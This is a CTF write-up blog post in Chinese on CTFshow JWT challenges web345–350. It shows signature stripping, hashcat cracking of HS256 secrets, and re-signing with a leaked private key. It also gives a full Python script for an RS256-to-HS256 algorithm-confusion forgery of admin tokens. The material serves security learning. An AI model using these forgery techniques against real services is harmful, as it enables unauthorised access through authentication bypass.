CTFSHOW-JWT


JWT

web345

查看源码发现提示 /admin

然后查看请求 JWT,可以发现就没有加密

image

这里可以看到换表是这个,但是我修改 user 为 admin,然后加密后不行,但是修改 alg 的参数反而可以得到

image

image

但是在 burp 的编码工具中这样修改就可以,没懂为什么

image

image

web346

burp 抓包,可以看到有了加密

image

用 hashcat 开爆

hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc2NDQxNjg4OSwiZXhwIjoxNzY0NDI0MDg5LCJuYmYiOjE3NjQ0MTY4ODksInN1YiI6InVzZXIiLCJqdGkiOiI0YjVkZDMzZWJiZmU5YmQyMDE5Y2JlNGFhYjQ2NmM3OCJ9.cCKr9ivDl0ZB8RCqlF-eZtFXZJRspjH_V-ZhbjutOK8 rockyou.txt

image

但是这题考的不是这个,这里考的是绕过签名,有些服务不会校验 JWT 的签名部分,于是可以修改 payload 和加密算法之后将签名部分删除,最后的点不能少

image

image

web347

这题就是开爆了,最后密码也是 123456

hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc2NDQxODMyOSwiZXhwIjoxNzY0NDI1NTI5LCJuYmYiOjE3NjQ0MTgzMjksInN1YiI6InVzZXIiLCJqdGkiOiI2MzJjZjQ2MmFmZmRmODE1ZGI4MzRiN2VhODY2ODBkZiJ9.x5llUWVfKlKUU0Lwf6RmiBsDQWqPLqE7WCLQlXacWco wordlist/rockyou.txt

image

然后可以用 jwt.io 签名也可以用 burp ,这里记录一下 burp 的用法

在 JWT 中选择 New Symmetric Key

image

生成之后将 k 的值修改为密码的 base64

image

然后修改 JWT 内容后签名

image

成功

image

web348

一样开爆,只是密码不一样,后面都一样了

image

web349

题目给了一个 js

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
	jwt.verify(auth, cert, function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin');
	  }
	});
});

看到这个源码,直接访问 /public.key​ 和 /private.key 得到公私钥,源码看到用公钥解密,私钥加密,这里就用私钥

选择 New RSA Key

image

image

然后修改

image

web350

给了源码,可以发现加密和上一题是一样的,不过不能访问这个私钥了,但是可以拿到公钥

这里学到的是使用篡改加密算法,这里的原理是

  • 服务器在验证 JWT 的时候,是使用 alg 字段来选择加密的方式,服务器没有限制这个的话,攻击者就能修改这个加密算法,利用公钥来签名

  • HS256 是对称加密的,加解密都使用同一个密钥

    RS256 是非对称加密的,用公钥或私钥加密,然后用另一个解密

    这里就可以用 RSA 的公钥来使用 HMAC 生成签名,服务端在解密的时候也是用公钥来作为 HMAC 密钥生成签名,这样签名就合法了,成功篡改了加密的方式

这里自己试了用 burp 发现不太行,最后还是使用星海河师傅的脚本 orz

import jwt  
  
# 原始 JWT 粘贴到这里  
orig = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImlhdCI6MTc1NzQ4NDU1NH0.QKpMeBqmdq3D1i-3AXwpwxo1vJd7ZAoKUBD76pmOu8D9jhbXF8enHCECZ53218LPNyjbBG-h6xVycQ7kHi0vLzBJHM0P4zuqCJMd0CkDksNVf0vlznp4LcmxqWHhok38ohY5tNgR1uE5ULDa9rOVt2_T0juJPWDD-h_360-S0NA"  
  
# 解析 JWT,获取头部和载荷  
header = jwt.get_unverified_header(orig)  
payload = jwt.decode(orig, options={"verify_signature": False})  
print("Header:\n",header,"\n","Payload:\n",payload,"\n")  
  
# 修改头部和载荷  
header["alg"] = "HS256"  
payload["user"] = "admin"  
  
# 重新签名并输出新的 JWT
# 读取公钥全文
with open("public.key", "rb") as f:  
    key = f.read()  
  
token = jwt.encode(payload, key, algorithm="HS256", headers=header)  
print(token)

这里直接利用他给的源码该也可以

参考

JWT攻击详解与CTF实战 - 星海河 - 博客园


文章作者: Marin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Marin !
  目录